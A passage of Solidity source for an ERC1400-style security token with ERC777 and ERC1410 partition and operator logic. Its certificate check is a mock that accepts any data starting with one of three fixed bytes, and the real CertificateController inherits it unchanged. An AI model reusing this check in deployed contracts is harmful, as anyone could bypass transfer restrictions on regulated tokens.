owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } /** * @title Helps contracts guard against reentrancy attacks. * @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]> * @dev If you mark a function `nonReentrant`, you should also * mark it `external`. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract CertificateControllerMock { // Address used by off-chain controller service to sign certificate mapping(address => bool) internal _certificateSigners; // A nonce used to ensure a certificate can be used only once mapping(address => uint256) internal _checkCount; event Checked(address sender); constructor(address _certificateSigner) public { _setCertificateSigner(_certificateSigner, true); } /** * @dev Modifier to protect methods with certificate control */ modifier isValidCertificate(bytes memory data) { require(_certificateSigners[msg.sender] || _checkCertificate(data, 0, 0x00000000), "A3: Transfer Blocked - Sender lockup period not ended"); _checkCount[msg.sender] += 1; // Increment sender check count emit Checked(msg.sender); _; } /** * @dev Get number of transations already sent to this contract by the sender * @param sender Address whom to check the counter of. * @return uint256 Number of transaction already sent to this contract. */ function checkCount(address sender) external view returns (uint256) { return _checkCount[sender]; } /** * @dev Get certificate signer authorization for an operator. * @param operator Address whom to check the certificate signer authorization for. * @return bool 'true' if operator is authorized as certificate signer, 'false' if not. */ function certificateSigners(address operator) external view returns (bool) { return _certificateSigners[operator]; } /** * @dev Set signer authorization for operator. * @param operator Address to add/remove as a certificate signer. * @param authorized 'true' if operator shall be accepted as certificate signer, 'false' if not. */ function _setCertificateSigner(address operator, bool authorized) internal { require(operator != address(0), "Action Blocked - Not a valid address"); _certificateSigners[operator] = authorized; } /** * @dev Checks if a certificate is correct * @param data Certificate to control */ function _checkCertificate(bytes memory data, uint256 /*value*/, bytes4 /*functionID*/) internal pure returns(bool) { // Comments to avoid compilation warnings for unused variables. if(data.length > 0 && (data[0] == hex"10" || data[0] == hex"11" || data[0] == hex"22")) { return true; } else { return false; } } } contract CertificateController is CertificateControllerMock { constructor(address _certificateSigner) public CertificateControllerMock(_certificateSigner) {} } /** * @title IERC777TokensRecipient * @dev ERC777TokensRecipient interface */ interface IERC777TokensRecipient { function canReceive( bytes32 partition, address from, address to, uint value, bytes calldata data, bytes calldata operatorData ) external view returns(bool); function tokensReceived( bytes32 partition, address operator, address from, address to, uint value, bytes calldata data, bytes calldata operatorData ) external; } /** * @title IERC777TokensSender * @dev ERC777TokensSender interface */ interface IERC777TokensSender { function canTransfer( bytes32 partition, address from, address to, uint value, bytes calldata data, bytes calldata operatorData ) external view returns(bool); function tokensToTransfer( bytes32 partition, address operator, address from, address to, uint value, bytes calldata data, bytes calldata operatorData ) external; } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ contract IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title IERC1410 partially fungible token standard * @dev ERC1410 interface */ interface IERC1410 { // Token Information function balanceOfByPartition(bytes32 partition, address tokenHolder) external view returns (uint256); // 1/10 function partitionsOf(address tokenHolder) external view returns (bytes32[] memory); // 2/10 // Token Transfers function transferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external returns (bytes32); // 3/10 function operatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external returns (bytes32); // 4/10 // Default Partition Management function getDefaultPartitions(address tokenHolder) external view returns (bytes32[] memory); // 5/10 function setDefaultPartitions(bytes32[] calldata partitions) external; // 6/10 // Operators function controllersByPartition(bytes32 partition) external view returns (address[] memory); // 7/10 function authorizeOperatorByPartition(bytes32 partition, address operator) external; // 8/10 function revokeOperatorByPartition(bytes32 partition, address operator) external; // 9/10 function isOperatorForPartition(bytes32 partition, address operator, address tokenHolder) external view returns (bool); // 10/10 // Transfer Events event TransferByPartition( bytes32 indexed fromPartition, address operator, address indexed from, address indexed to, uint256 value, bytes data, bytes operatorData ); event ChangedPartition( bytes32 indexed fromPartition, bytes32 indexed toPartition, uint256 value ); // Operator Events event AuthorizedOperatorByPartition(bytes32 indexed partition, address indexed operator, address indexed tokenHolder); event RevokedOperatorByPartition(bytes32 indexed partition, address indexed operator, address indexed tokenHolder); } /** * @title IERC777 token standard * @dev ERC777 interface */ interface IERC777 { function name() external view returns (string memory); // 1/13 function symbol() external view returns (string memory); // 2/13 function totalSupply() external view returns (uint256); // 3/13 function balanceOf(address owner) external view returns (uint256); // 4/13 function granularity() external view returns (uint256); // 5/13 function controllers() external view returns (address[] memory); // 6/13 function authorizeOperator(address operator) external; // 7/13 function revokeOperator(address operator) external; // 8/13 function isOperatorFor(address operator, address tokenHolder) external view returns (bool); // 9/13 function transferWithData(address to, uint256 value, bytes calldata data) external; // 10/13 function transferFromWithData(address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external; // 11/13 function redeem(uint256 value, bytes calldata data) external; // 12/13 function redeemFrom(address from, uint256 value, bytes calldata data, bytes calldata operatorData) external; // 13/13 event TransferWithData( address indexed operator, address indexed from, address indexed to, uint256 value, bytes data, bytes operatorData ); event Issued(address indexed operator, address indexed to, uint256 value, bytes data, bytes operatorData); event Redeemed(address indexed operator, address indexed from, uint256 value, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } /** * @title ERC1400 security token standard * @dev ERC1400 logic */ interface IERC1400 { // Document Management function getDocument(bytes32 name) external view returns (string memory, bytes32); // 1/9 function setDocument(bytes32 name, string calldata uri, bytes32 documentHash) external; // 2/9 event Document(bytes32 indexed name, string uri, bytes32 documentHash); // Controller Operation function isControllable() external view returns (bool); // 3/9 // Token Issuance function isIssuable() external view returns (bool); // 4/9 function issueByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata data) external; // 5/9 event IssuedByPartition(bytes32 indexed partition, address indexed operator, address indexed to, uint256 value, bytes data, bytes operatorData); // Token Redemption function redeemByPartition(bytes32 partition, uint256 value, bytes calldata data) external; // 6/9 function operatorRedeemByPartition(bytes32 partition, address tokenHolder, uint256 value, bytes calldata data, bytes calldata operatorData) external; // 7/9 event RedeemedByPartition(bytes32 indexed partition, address indexed operator, address indexed from, uint256 value, bytes data, bytes operatorData); // Transfer Validity function canTransferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external view returns (byte, bytes32, bytes32); // 8/9 function canOperatorTransferByPartition(bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external view returns (byte, bytes32, bytes32); // 9/9 } /** * Reason codes - ERC1066 * * To improve the token holder experience, canTransfer MUST return a reason byte code * on success or failure based on the EIP-1066 application-specific status codes specified below. * An implementation can also return arbitrary data as a bytes32 to provide additional * information not captured by the reason code. * * Code Reason * 0xA0 Transfer Verified - Unrestricted * 0xA1 Transfer Verified - On-Chain approval for restricted token * 0xA2 Transfer Verified - Off-Chain approval for restricted token * 0xA3 Transfer Blocked - Sender lockup period not ended * 0xA4 Transfer Blocked - Sender balance insufficient * 0xA5 Transfer Blocked - Sender not eligible * 0xA6 Transfer Blocked - Receiver not eligible * 0xA7 Transfer Blocked - Identity restriction * 0xA8 Transfer Blocked - Token restriction * 0xA9 Transfer Blocked - Token granularity */ contract ERC820Registry { function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external; function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address); function setManager(address _addr, address _newManager) external; function getManager(address _addr) public view returns(address); } /// Base client to interact with the registry. contract ERC820Client { ERC820Registry constant ERC820REGISTRY = ERC820Registry(0x820b586C8C28125366C998641B09DCbE7d4cBF06); function setInterfaceImplementation(string memory _interfaceLabel, address _implementation) internal { bytes32 interfaceHash = keccak256(abi.encodePacked(_interfaceLabel)); ERC820REGISTRY.setInterfaceImplementer(address(this), interfaceHash, _implementation); } function interfaceAddr(address addr, string memory _interfaceLabel) internal view returns(address) { bytes32 interfaceHash = keccak256(abi.encodePacked(_interfaceLabel)); return ERC820REGISTRY.getInterfaceImplementer(addr, interfaceHash); } function delegateManagement(address _newManager) internal { ERC820REGISTRY.setManager(address(this), _newManager); } } /** * @title ERC777 * @dev ERC777 logic */ contract ERC777 is IERC777, Ownable, ERC820Client, CertificateController, ReentrancyGuard { using SafeMath for uint256; string internal _name; string internal _symbol; uint256 internal _granularity; uint256 internal _totalSupply; // Indicate whether the token can still be controlled by operators or not anymore. bool internal _isControllable; // Mapping from tokenHolder to balance. mapping(address => uint256) internal _balances; /******************** Mappings related to operator **************************/ // Mapping from (operator, tokenHolder) to authorized status. [TOKEN-HOLDER-SPECIFIC] mapping(address => mapping(address => bool)) internal _authorizedOperator; // Array of controllers. [GLOBAL - NOT TOKEN-HOLDER-SPECIFIC] address[] internal _controllers; // Mapping from operator to controller status. [GLOBAL - NOT TOKEN-HOLDER-SPECIFIC] mapping(address => bool) internal _isController; /****************************************************************************/ /** * [ERC777 CONSTRUCTOR] * @dev Initialize ERC777 and CertificateController parameters + register * the contract implementation in ERC820Registry. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, address certificateSigner ) public CertificateController(certificateSigner) { _name = name; _symbol = symbol; _totalSupply = 0; require(granularity >= 1, "Constructor Blocked - Token granularity can not be lower than 1"); _granularity = granularity; _setControllers(controllers); setInterfaceImplementation("ERC777Token", address(this)); } /********************** ERC777 EXTERNAL FUNCTIONS ***************************/ /** * [ERC777 INTERFACE (1/13)] * @dev Get the name of the token, e.g., "MyToken". * @return Name of the token. */ function name() external view returns(string memory) { return _name; } /** * [ERC777 INTERFACE (2/13)] * @dev Get the symbol of the token, e.g., "MYT". * @return Symbol of the token. */ function symbol() external view returns(string memory) { return _symbol; } /** * [ERC777 INTERFACE (3/13)] * @dev Get the total number of issued tokens. * @return Total supply of tokens currently in circulation. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * [ERC777 INTERFACE (4/13)] * @dev Get the balance of the account with address 'tokenHolder'. * @param tokenHolder Address for which the balance is returned. * @return Amount of token held by 'tokenHolder' in the token contract. */ function balanceOf(address tokenHolder) external view returns (uint256) { return _balances[tokenHolder]; } /** * [ERC777 INTERFACE (5/13)] * @dev Get the smallest part of the token that’s not divisible. * @return The smallest non-divisible part of the token. */ function granularity() external view returns(uint256) { return _granularity; } /** * [ERC777 INTERFACE (6/13)] * @dev Get the list of controllers as defined by the token contract. * @return List of addresses of all the controllers. */ function controllers() external view returns (address[] memory) { return _controllers; } /** * [ERC777 INTERFACE (7/13)] * @dev Set a third party operator address as an operator of 'msg.sender' to transfer * and redeem tokens on its behalf. * @param operator Address to set as an operator for 'msg.sender'. */ function authorizeOperator(address operator) external { _authorizedOperator[operator][msg.sender] = true; emit AuthorizedOperator(operator, msg.sender); } /** * [ERC777 INTERFACE (8/13)] * @dev Remove the right of the operator address to be an operator for 'msg.sender' * and to transfer and redeem tokens on its behalf. * @param operator Address to rescind as an operator for 'msg.sender'. */ function revokeOperator(address operator) external { _authorizedOperator[operator][msg.sender] = false; emit RevokedOperator(operator, msg.sender); } /** * [ERC777 INTERFACE (9/13)] * @dev Indicate whether the operator address is an operator of the tokenHolder address. * @param operator Address which may be an operator of tokenHolder. * @param tokenHolder Address of a token holder which may have the operator address as an operator. * @return 'true' if operator is an operator of 'tokenHolder' and 'false' otherwise. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool) { return _isOperatorFor(operator, tokenHolder); } /** * [ERC777 INTERFACE (10/13)] * @dev Transfer the amount of tokens from the address 'msg.sender' to the address 'to'. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function transferWithData(address to, uint256 value, bytes calldata data) external isValidCertificate(data) { _transferWithData("", msg.sender, msg.sender, to, value, data, "", true); } /** * [ERC777 INTERFACE (11/13)] * @dev Transfer the amount of tokens on behalf of the address 'from' to the address 'to'. * @param from Token holder (or 'address(0)' to set from to 'msg.sender'). * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, and intended for the token holder ('from'). * @param operatorData Information attached to the transfer by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function transferFromWithData(address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) { address _from = (from == address(0)) ? msg.sender : from; require(_isOperatorFor(msg.sender, _from), "A7: Transfer Blocked - Identity restriction"); _transferWithData("", msg.sender, _from, to, value, data, operatorData, true); } /** * [ERC777 INTERFACE (12/13)] * @dev Redeem the amount of tokens from the address 'msg.sender'. * @param value Number of tokens to redeem. * @param data Information attached to the redemption, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function redeem(uint256 value, bytes calldata data) external isValidCertificate(data) { _redeem("", msg.sender, msg.sender, value, data, ""); } /** * [ERC777 INTERFACE (13/13)] * @dev Redeem the amount of tokens on behalf of the address from. * @param from Token holder whose tokens will be redeemed (or address(0) to set from to msg.sender). * @param value Number of tokens to redeem. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] */ function redeemFrom(address from, uint256 value, bytes calldata data, bytes calldata operatorData) external isValidCertificate(operatorData) { address _from = (from == address(0)) ? msg.sender : from; require(_isOperatorFor(msg.sender, _from), "A7: Transfer Blocked - Identity restriction"); _redeem("", msg.sender, _from, value, data, operatorData); } /********************** ERC777 INTERNAL FUNCTIONS ***************************/ /** * [INTERNAL] * @dev Check if 'value' is multiple of the granularity. * @param value The quantity that want's to be checked. * @return 'true' if 'value' is a multiple of the granularity. */ function _isMultiple(uint256 value) internal view returns(bool) { return(value.div(_granularity).mul(_granularity) == value); } /** * [INTERNAL] * @dev Check whether an address is a regular address or not. * @param addr Address of the contract that has to be checked. * @return 'true' if 'addr' is a regular address (not a contract). */ function _isRegularAddress(address addr) internal view returns(bool) { if (addr == address(0)) { return false; } uint size; assembly { size := extcodesize(addr) } // solhint-disable-line no-inline-assembly return size == 0; } /** * [INTERNAL] * @dev Indicate whether the operator address is an operator of the tokenHolder address. * @param operator Address which may be an operator of 'tokenHolder'. * @param tokenHolder Address of a token holder which may have the 'operator' address as an operator. * @return 'true' if 'operator' is an operator of 'tokenHolder' and 'false' otherwise. */ function _isOperatorFor(address operator, address tokenHolder) internal view returns (bool) { return (operator == tokenHolder || _authorizedOperator[operator][tokenHolder] || (_isControllable && _isController[operator]) ); } /** * [INTERNAL] * @dev Perform the transfer of tokens. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator The address performing the transfer. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. * @param operatorData Information attached to the transfer by the operator (if any).. * @param preventLocking 'true' if you want this function to throw when tokens are sent to a contract not * implementing 'erc777tokenHolder'. * ERC777 native transfer functions MUST set this parameter to 'true', and backwards compatible ERC20 transfer * functions SHOULD set this parameter to 'false'. */ function _transferWithData( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData, bool preventLocking ) internal nonReentrant { require(_isMultiple(value), "A9: Transfer Blocked - Token granularity"); require(to != address(0), "A6: Transfer Blocked - Receiver not eligible"); require(_balances[from] >= value, "A4: Transfer Blocked - Sender balance insufficient"); _callSender(partition, operator, from, to, value, data, operatorData); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _callRecipient(partition, operator, from, to, value, data, operatorData, preventLocking); emit TransferWithData(operator, from, to, value, data, operatorData); } /** * [INTERNAL] * @dev Perform the token redemption. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator The address performing the redemption. * @param from Token holder whose tokens will be redeemed. * @param value Number of tokens to redeem. * @param data Information attached to the redemption. * @param operatorData Information attached to the redemption, by the operator (if any). */ function _redeem(bytes32 partition, address operator, address from, uint256 value, bytes memory data, bytes memory operatorData) internal nonReentrant { require(_isMultiple(value), "A9: Transfer Blocked - Token granularity"); require(from != address(0), "A5: Transfer Blocked - Sender not eligible"); require(_balances[from] >= value, "A4: Transfer Blocked - Sender balance insufficient"); _callSender(partition, operator, from, address(0), value, data, operatorData); _balances[from] = _balances[from].sub(value); _totalSupply = _totalSupply.sub(value); emit Redeemed(operator, from, value, data, operatorData); } /** * [INTERNAL] * @dev Check for 'ERC777TokensSender' hook on the sender and call it. * May throw according to 'preventLocking'. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator Address which triggered the balance decrease (through transfer or redemption). * @param from Token holder. * @param to Token recipient for a transfer and 0x for a redemption. * @param value Number of tokens the token holder balance is decreased by. * @param data Extra information. * @param operatorData Extra information, attached by the operator (if any). */ function _callSender( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal { address senderImplementation; senderImplementation = interfaceAddr(from, "ERC777TokensSender"); if (senderImplementation != address(0)) { IERC777TokensSender(senderImplementation).tokensToTransfer(partition, operator, from, to, value, data, operatorData); } } /** * [INTERNAL] * @dev Check for 'ERC777TokensRecipient' hook on the recipient and call it. * May throw according to 'preventLocking'. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator Address which triggered the balance increase (through transfer or issuance). * @param from Token holder for a transfer and 0x for an issuance. * @param to Token recipient. * @param value Number of tokens the recipient balance is increased by. * @param data Extra information, intended for the token holder ('from'). * @param operatorData Extra information attached by the operator (if any). * @param preventLocking 'true' if you want this function to throw when tokens are sent to a contract not * implementing 'ERC777TokensRecipient'. * ERC777 native transfer functions MUST set this parameter to 'true', and backwards compatible ERC20 transfer * functions SHOULD set this parameter to 'false'. */ function _callRecipient( bytes32 partition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData, bool preventLocking ) internal { address recipientImplementation; recipientImplementation = interfaceAddr(to, "ERC777TokensRecipient"); if (recipientImplementation != address(0)) { IERC777TokensRecipient(recipientImplementation).tokensReceived(partition, operator, from, to, value, data, operatorData); } else if (preventLocking) { require(_isRegularAddress(to), "A6: Transfer Blocked - Receiver not eligible"); } } /** * [INTERNAL] * @dev Perform the issuance of tokens. * @param partition Name of the partition (bytes32 to be left empty for ERC777 transfer). * @param operator Address which triggered the issuance. * @param to Token recipient. * @param value Number of tokens issued. * @param data Information attached to the issuance, and intended for the recipient (to). * @param operatorData Information attached to the issuance by the operator (if any). */ function _issue(bytes32 partition, address operator, address to, uint256 value, bytes memory data, bytes memory operatorData) internal nonReentrant { require(_isMultiple(value), "A9: Transfer Blocked - Token granularity"); require(to != address(0), "A6: Transfer Blocked - Receiver not eligible"); _totalSupply = _totalSupply.add(value); _balances[to] = _balances[to].add(value); _callRecipient(partition, operator, address(0), to, value, data, operatorData, true); emit Issued(operator, to, value, data, operatorData); } /********************** ERC777 OPTIONAL FUNCTIONS ***************************/ /** * [NOT MANDATORY FOR ERC777 STANDARD] * @dev Set list of token controllers. * @param operators Controller addresses. */ function _setControllers(address[] memory operators) internal { for (uint i = 0; i<_controllers.length; i++){ _isController[_controllers[i]] = false; } for (uint j = 0; j<operators.length; j++){ _isController[operators[j]] = true; } _controllers = operators; } } /** * @title ERC1410 * @dev ERC1410 logic */ contract ERC1410 is IERC1410, ERC777{ /******************** Mappings to find partition ******************************/ // List of partitions. bytes32[] internal _totalPartitions; // Mapping from partition to global balance of corresponding partition. mapping (bytes32 => uint256) internal _totalSupplyByPartition; // Mapping from tokenHolder to their partitions. mapping (address => bytes32[]) internal _partitionsOf; // Mapping from (tokenHolder, partition) to balance of corresponding partition. mapping (address => mapping (bytes32 => uint256)) internal _balanceOfByPartition; // Mapping from tokenHolder to their default partitions (for ERC777 and ERC20 compatibility). mapping (address => bytes32[]) internal _defaultPartitionsOf; // List of token default partitions (for ERC20 compatibility). bytes32[] internal _tokenDefaultPartitions; /****************************************************************************/ /**************** Mappings to find partition operators ************************/ // Mapping from (tokenHolder, partition, operator) to 'approved for partition' status. [TOKEN-HOLDER-SPECIFIC] mapping (address => mapping (bytes32 => mapping (address => bool))) internal _authorizedOperatorByPartition; // Mapping from partition to controllers for the partition. [NOT TOKEN-HOLDER-SPECIFIC] mapping (bytes32 => address[]) internal _controllersByPartition; // Mapping from (partition, operator) to PartitionController status. [NOT TOKEN-HOLDER-SPECIFIC] mapping (bytes32 => mapping (address => bool)) internal _isControllerByPartition; /****************************************************************************/ /** * [ERC1410 CONSTRUCTOR] * @dev Initialize ERC1410 parameters + register * the contract implementation in ERC820Registry. * @param name Name of the token. * @param symbol Symbol of the token. * @param granularity Granularity of the token. * @param controllers Array of initial controllers. * @param certificateSigner Address of the off-chain service which signs the * conditional ownership certificates required for token transfers, issuance, * redemption (Cf. CertificateController.sol). */ constructor( string memory name, string memory symbol, uint256 granularity, address[] memory controllers, address certificateSigner, bytes32[] memory tokenDefaultPartitions ) public ERC777(name, symbol, granularity, controllers, certificateSigner) { _tokenDefaultPartitions = tokenDefaultPartitions; } /********************** ERC1410 EXTERNAL FUNCTIONS **************************/ /** * [ERC1410 INTERFACE (1/10)] * @dev Get balance of a tokenholder for a specific partition. * @param partition Name of the partition. * @param tokenHolder Address for which the balance is returned. * @return Amount of token of partition 'partition' held by 'tokenHolder' in the token contract. */ function balanceOfByPartition(bytes32 partition, address tokenHolder) external view returns (uint256) { return _balanceOfByPartition[tokenHolder][partition]; } /** * [ERC1410 INTERFACE (2/10)] * @dev Get partitions index of a tokenholder. * @param tokenHolder Address for which the partitions index are returned. * @return Array of partitions index of 'tokenHolder'. */ function partitionsOf(address tokenHolder) external view returns (bytes32[] memory) { return _partitionsOf[tokenHolder]; } /** * [ERC1410 INTERFACE (3/10)] * @dev Transfer tokens from a specific partition. * @param partition Name of the partition. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return Destination partition. */ function transferByPartition( bytes32 partition, address to, uint256 value, bytes calldata data ) external isValidCertificate(data) returns (bytes32) { return _transferByPartition(partition, msg.sender, msg.sender, to, value, data, ""); } /** * [ERC1410 INTERFACE (4/10)] * @dev Transfer tokens from a specific partition through an operator. * @param partition Name of the partition. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer, by the operator. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] * @return Destination partition. */ function operatorTransferByPartition( bytes32 partition, address from, address to, uint256 value, bytes calldata data, bytes calldata operatorData ) external isValidCertificate(operatorData) returns (bytes32) { address _from = (from == address(0)) ? msg.sender : from; require(_isOperatorForPartition(partition, msg.sender, _from), "A7: Transfer Blocked - Identity restriction"); return _transferByPartition(partition, msg.sender, _from, to, value, data, operatorData); } /** * [ERC1410 INTERFACE (5/10)] * @dev Get default partitions to transfer from. * Function used for ERC777 and ERC20 backwards compatibility. * For example, a security token may return the bytes32("unrestricted"). * @param tokenHolder Address for which we want to know the default partitions. * @return Array of default partitions. */ function getDefaultPartitions(address tokenHolder) external view returns (bytes32[] memory) { return _defaultPartitionsOf[tokenHolder]; } /** * [ERC1410 INTERFACE (6/10)] * @dev Set default partitions to transfer from. * Function used for ERC777 and ERC20 backwards compatibility. * @param partitions partitions to use by default when not specified. */ function setDefaultPartitions(bytes32[] calldata partitions) external { _defaultPartitionsOf[msg.sender] = partitions; } /** * [ERC1410 INTERFACE (7/10)] * @dev Get controllers for a given partition. * Function used for ERC777 and ERC20 backwards compatibility. * @param partition Name of the partition. * @return Array of controllers for partition. */ function controllersByPartition(bytes32 partition) external view returns (address[] memory) { return _controllersByPartition[partition]; } /** * [ERC1410 INTERFACE (8/10)] * @dev Set 'operator' as an operator for 'msg.sender' for a given partition. * @param partition Name of the partition. * @param operator Address to set as an operator for 'msg.sender'. */ function authorizeOperatorByPartition(bytes32 partition, address operator) external { _authorizedOperatorByPartition[msg.sender][partition][operator] = true; emit AuthorizedOperatorByPartition(partition, operator, msg.sender); } /** * [ERC1410 INTERFACE (9/10)] * @dev Remove the right of the operator address to be an operator on a given * partition for 'msg.sender' and to transfer and redeem tokens on its behalf. * @param partition Name of the partition. * @param operator Address to rescind as an operator on given partition for 'msg.sender'. */ function revokeOperatorByPartition(bytes32 partition, address operator) external { _authorizedOperatorByPartition[msg.sender][partition][operator] = false; emit RevokedOperatorByPartition(partition, operator, msg.sender); } /** * [ERC1410 INTERFACE (10/10)] * @dev Indicate whether the operator address is an operator of the tokenHolder * address for the given partition. * @param partition Name of the partition. * @param operator Address which may be an operator of tokenHolder for the given partition. * @param tokenHolder Address of a token holder which may have the operator address as an operator for the given partition. * @return 'true' if 'operator' is an operator of 'tokenHolder' for partition 'partition' and 'false' otherwise. */ function isOperatorForPartition(bytes32 partition, address operator, address tokenHolder) external view returns (bool) { return _isOperatorForPartition(partition, operator, tokenHolder); } /********************** ERC1410 INTERNAL FUNCTIONS **************************/ /** * [INTERNAL] * @dev Indicate whether the operator address is an operator of the tokenHolder * address for the given partition. * @param partition Name of the partition. * @param operator Address which may be an operator of tokenHolder for the given partition. * @param tokenHolder Address of a token holder which may have the operator address as an operator for the given partition. * @return 'true' if 'operator' is an operator of 'tokenHolder' for partition 'partition' and 'false' otherwise. */ function _isOperatorForPartition(bytes32 partition, address operator, address tokenHolder) internal view returns (bool) { return (_isOperatorFor(operator, tokenHolder) || _authorizedOperatorByPartition[tokenHolder][partition][operator] || (_isControllable && _isControllerByPartition[partition][operator]) ); } /** * [INTERNAL] * @dev Transfer tokens from a specific partition. * @param fromPartition Partition of the tokens to transfer. * @param operator The address performing the transfer. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the transfer. [CAN CONTAIN THE DESTINATION PARTITION] * @param operatorData Information attached to the transfer, by the operator (if any). * @return Destination partition. */ function _transferByPartition( bytes32 fromPartition, address operator, address from, address to, uint256 value, bytes memory data, bytes memory operatorData ) internal returns (bytes32) { require(_balanceOfByPartition[from][fromPartition] >= value, "A4: Transfer Blocked - Sender balance insufficient"); // ensure enough funds bytes32 toPartition = fromPartition; if(operatorData.length != 0 && data.length != 0) { toPartition = _getDestinationPartition(fromPartition, data); } _removeTokenFromPartition(from, fromPartition, value); _transferWithData(fromPartition, operator, from, to, value, data, operatorData, true); _addTokenToPartition(to, toPartition, value); emit TransferByPartition(fromPartition, operator, from, to, value, data, operatorData); if(toPartition != fromPartition) { emit ChangedPartition(fromPartition, toPartition, value); } return toPartition; } /** * [INTERNAL] * @dev Remove a token from a specific partition. * @param from Token holder. * @param partition Name of the partition. * @param value Number of tokens to transfer. */ function _removeTokenFromPartition(address from, bytes32 partition, uint256 value) internal { _balanceOfByPartition[from][partition] = _balanceOfByPartition[from][partition].sub(value); _totalSupplyByPartition[partition] = _totalSupplyByPartition[partition].sub(value); // If the balance of the TokenHolder's partition is zero, finds and deletes the partition. if(_balanceOfByPartition[from][partition] == 0) { for (uint i = 0; i < _partitionsOf[from].length; i++) { if(_partitionsOf[from][i] == partition) { _partitionsOf[from][i] = _partitionsOf[from][_partitionsOf[from].length - 1]; delete 